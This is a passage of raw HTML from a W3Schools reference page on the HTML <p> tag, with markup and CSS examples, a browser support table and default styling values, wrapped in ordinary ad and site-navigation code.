href="tag_param.asp">&lt;param&gt;</a> <a target="_top" href="tag_picture.asp">&lt;picture&gt;</a> <a target="_top" href="tag_pre.asp">&lt;pre&gt;</a> <a target="_top" href="tag_progress.asp">&lt;progress&gt;</a> <a target="_top" href="tag_q.asp">&lt;q&gt;</a> <a target="_top" href="tag_rp.asp">&lt;rp&gt;</a> <a target="_top" href="tag_rt.asp">&lt;rt&gt;</a> <a target="_top" href="tag_ruby.asp">&lt;ruby&gt;</a> <a target="_top" href="tag_s.asp">&lt;s&gt;</a> <a target="_top" href="tag_samp.asp">&lt;samp&gt;</a> <a target="_top" href="tag_script.asp">&lt;script&gt;</a> <a target="_top" href="tag_section.asp">&lt;section&gt;</a> <a target="_top" href="tag_select.asp">&lt;select&gt;</a> <a target="_top" href="tag_small.asp">&lt;small&gt;</a> <a target="_top" href="tag_source.asp">&lt;source&gt;</a> <a target="_top" href="tag_span.asp">&lt;span&gt;</a> <a target="_top" href="tag_strike.asp">&lt;strike&gt;</a> <a target="_top" href="tag_strong.asp">&lt;strong&gt;</a> <a target="_top" href="tag_style.asp">&lt;style&gt;</a> <a target="_top" href="tag_sub.asp">&lt;sub&gt;</a> <a target="_top" href="tag_summary.asp">&lt;summary&gt;</a> <a target="_top" href="tag_sup.asp">&lt;sup&gt;</a> <a target="_top" href="tag_svg.asp">&lt;svg&gt;</a> <a target="_top" href="tag_table.asp">&lt;table&gt;</a> <a target="_top" href="tag_tbody.asp">&lt;tbody&gt;</a> <a target="_top" href="tag_td.asp">&lt;td&gt;</a> <a target="_top" href="tag_template.asp">&lt;template&gt;</a> <a target="_top" href="tag_textarea.asp">&lt;textarea&gt;</a> <a target="_top" href="tag_tfoot.asp">&lt;tfoot&gt;</a> <a target="_top" href="tag_th.asp">&lt;th&gt;</a> <a target="_top" href="tag_thead.asp">&lt;thead&gt;</a> <a target="_top" href="tag_time.asp">&lt;time&gt;</a> <a target="_top" href="tag_title.asp">&lt;title&gt;</a> <a target="_top" href="tag_tr.asp">&lt;tr&gt;</a> <a target="_top" href="tag_track.asp">&lt;track&gt;</a> <a target="_top" href="tag_tt.asp">&lt;tt&gt;</a> <a target="_top" href="tag_u.asp">&lt;u&gt;</a> <a target="_top" href="tag_ul.asp">&lt;ul&gt;</a> <a target="_top" href="tag_var.asp">&lt;var&gt;</a> <a target="_top" href="tag_video.asp">&lt;video&gt;</a> <a target="_top" href="tag_wbr.asp">&lt;wbr&gt;</a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1">&lt;p&gt;</span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan">&lt;p&gt;</code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;">&lt;p&gt;</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>html<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/html<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>&nbsp;More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan">&lt;p&gt;</code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp;&nbsp;margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>[email protected]</p> <br> <!-- <h2>Your 